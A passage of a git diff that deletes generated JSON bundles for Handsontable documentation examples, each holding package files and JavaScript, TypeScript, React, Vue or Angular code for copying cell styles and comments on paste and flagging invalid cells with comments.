install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nlet copiedClassNames: string[][] = [];\n\nfunction collectClassNames(hot: Handsontable, coords: CopyRange[]): string[][] {\n const source = coords[0];\n const classNames: string[][] = [];\n\n if (!source) {\n return classNames;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames: string[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push((hot.getCellMeta(row, col).className as string | undefined) ?? '');\n }\n\n classNames.push(rowClassNames);\n }\n\n return classNames;\n}\n\nfunction applyClassNames(hot: Handsontable, coords: CopyRange[]): void {\n const target = coords[0];\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n copiedClassNames.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n hot.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n\n hot.render();\n}\n\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n cell: [\n { row: 0, col: 1, className: 'htRight' },\n { row: 0, col: 2, className: 'htCenter' },\n { row: 2, col: 1, className: 'htRight htDimmed' },\n { row: 2, col: 2, className: 'htCenter htDimmed' },\n ],\n afterCopy(_data, coords) {\n copiedClassNames = collectClassNames(this, coords as CopyRange[]);\n },\n afterCut(_data, coords) {\n copiedClassNames = collectClassNames(this, coords as CopyRange[]);\n },\n afterPaste(_data, coords) {\n applyClassNames(this, coords as CopyRange[]);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/clipboard/javascript/example4.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example5.js.json deleted file mode 100644 index 823129bb..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example5.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nlet copiedComments = [];\nfunction collectComments(hot, coords) {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied = [];\n if (!source) {\n return copied;\n }\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments = [];\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n copied.push(rowComments);\n }\n return copied;\n}\nfunction applyComments(hot, coords) {\n const target = coords[0];\n const comments = hot.getPlugin('comments');\n if (!target) {\n return;\n }\n hot.batch(() => {\n copiedComments.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n }\n else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n hot.render();\n}\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 0, col: 1, comment: { value: 'Counted during the July audit.' } },\n { row: 2, col: 1, comment: { value: 'Reorder request sent to Harbor Goods.' } },\n { row: 2, col: 2, comment: { value: 'Expected delivery is July 18.' } },\n ],\n afterCopy(_data, coords) {\n copiedComments = collectComments(this, coords);\n },\n afterCut(_data, coords) {\n copiedComments = collectComments(this, coords);\n },\n afterPaste(_data, coords) {\n applyComments(this, coords);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/clipboard/javascript/example5.js","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example5.ts.json deleted file mode 100644 index 2aeff338..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\nlet copiedComments: (string | undefined)[][] = [];\n\nfunction collectComments(hot: Handsontable, coords: CopyRange[]): (string | undefined)[][] {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied: (string | undefined)[][] = [];\n\n if (!source) {\n return copied;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments: (string | undefined)[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n\n copied.push(rowComments);\n }\n\n return copied;\n}\n\nfunction applyComments(hot: Handsontable, coords: CopyRange[]): void {\n const target = coords[0];\n const comments = hot.getPlugin('comments');\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n copiedComments.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n } else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n\n hot.render();\n}\n\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 0, col: 1, comment: { value: 'Counted during the July audit.' } },\n { row: 2, col: 1, comment: { value: 'Reorder request sent to Harbor Goods.' } },\n { row: 2, col: 2, comment: { value: 'Expected delivery is July 18.' } },\n ],\n afterCopy(_data, coords) {\n copiedComments = collectComments(this, coords as CopyRange[]);\n },\n afterCut(_data, coords) {\n copiedComments = collectComments(this, coords as CopyRange[]);\n },\n afterPaste(_data, coords) {\n applyComments(this, coords as CopyRange[]);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/clipboard/javascript/example5.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example4.tsx.json deleted file mode 100644 index 294250dc..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// register Handsontable's modules\nregisterAllModules();\n\nfunction collectClassNames(hot: Handsontable, coords: CopyRange[]): string[][] {\n const source = coords[0];\n const classNames: string[][] = [];\n\n if (!source) {\n return classNames;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames: string[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push((hot.getCellMeta(row, col).className as string | undefined) ?? '');\n }\n\n classNames.push(rowClassNames);\n }\n\n return classNames;\n}\n\nconst ExampleComponent = () => {\n const copiedClassNames = useRef([]);\n\n return (\n {\n copiedClassNames.current.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n this.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n\n this.render();\n }}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/clipboard/react/example4.tsx","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example5.tsx.json deleted file mode 100644 index 402a0914..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example5.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// register Handsontable's modules\nregisterAllModules();\n\nfunction collectComments(hot: Handsontable, coords: CopyRange[]): (string | undefined)[][] {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied: (string | undefined)[][] = [];\n\n if (!source) {\n return copied;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments: (string | undefined)[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n\n copied.push(rowComments);\n }\n\n return copied;\n}\n\nconst ExampleComponent = () => {\n const copiedComments = useRef<(string | undefined)[][]>([]);\n\n return (\n {\n copiedComments.current.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n } else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n\n this.render();\n }}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/clipboard/react/example5.tsx","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example4.vue.json deleted file mode 100644 index 23c3a835..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/clipboard/vue/example4.vue","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example5.vue.json deleted file mode 100644 index 8824fb46..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example5.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/clipboard/vue/example5.vue","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example5.ts.json deleted file mode 100644 index 72a4ab34..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Comments · Flag invalid cells with a comment · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable/base';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example5-comments',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Wireless mouse', 142],\n ['USB-C cable', 67],\n ['Mechanical keyboard', -5],\n ['Laptop stand', 38],\n ['HDMI adapter', 210],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Product', 'Stock'],\n rowHeaders: true,\n comments: true,\n columns: [\n {},\n {\n type: 'numeric',\n validator(value: any, callback: (valid: boolean) => void) {\n callback(Number.isInteger(value) && value >= 0);\n },\n },\n ],\n // Attach a comment when a cell fails validation, and remove it once the cell is valid.\n afterValidate(this: Handsontable, isValid: boolean, value: any, row: number, prop: string | number) {\n const column = this.propToCol(prop);\n const comments = this.getPlugin('comments');\n\n if (!isValid) {\n comments.setCommentAtCell(row, column, `\"${value}\" is not valid. Enter a whole number of 0 or more.`);\n } else {\n comments.removeCommentAtCell(row, column);\n }\n },\n // Validate every cell on load so the pre-existing invalid value is flagged right away.\n afterInit(this: Handsontable) {\n this.validateCells();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/comments/angular/example5.ts","breadcrumb":["Cell Features","Comments"],"guide":"guides/cell-features/comments/comments.md","guideTitle":"Comments","exampleId":"example5","exampleTitle":"Flag invalid cells with a comment","docPermalink":"/comments","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example6.ts.json deleted file mode 100644 index 729f1471..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Comments · Read all comments programmatically · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": 